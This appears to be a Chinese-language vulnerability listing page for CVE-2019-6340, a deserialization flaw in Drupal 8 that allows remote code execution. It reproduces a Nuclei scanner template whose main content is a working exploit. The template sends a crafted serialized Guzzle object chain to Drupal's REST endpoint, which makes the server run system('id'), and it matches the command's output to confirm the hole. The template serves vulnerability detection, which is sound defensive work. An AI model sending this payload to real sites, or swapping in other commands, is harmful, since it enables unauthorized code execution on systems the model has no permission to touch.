CVE-2019-6340: Drupal - Remote Code Execution

日期: 2025-08-01 | 影响软件: Drupal | POC: 已公开

漏洞描述

Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.

PoC代码[已公开]

id: CVE-2019-6340

info:
  name: Drupal - Remote Code Execution
  author: madrobot
  severity: high
  description: Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Drupal site.
  remediation: |
    Apply the official security patch provided by Drupal to fix the deserialization vulnerability.
  reference:
    - https://www.drupal.org/sa-core-2019-003
    - https://www.synology.com/security/advisory/Synology_SA_19_09
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6340
    - https://www.exploit-db.com/exploits/46452/
    - https://github.com/CVEDB/PoC-List
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2019-6340
    cwe-id: CWE-502
    epss-score: 0.94419
    epss-percentile: 0.99978
    cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: drupal
    product: drupal
    shodan-query:
      - http.component:"drupal"
      - cpe:"cpe:2.3:a:drupal:drupal"
  tags: cve,cve2019,drupal,rce,kev

http:
  - method: POST
    path:
      - '{{BaseURL}}/node/1?_format=hal_json'

    body: '{ "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } }'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022042ba0847e34f7fbae34235d3c28b95f2bee844e0945cca661d366c4e06ef41d702207ccf2918b63f69cc663d65e0c0a352df372ead07771552a833781f1e2252c25d:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-6340.yaml

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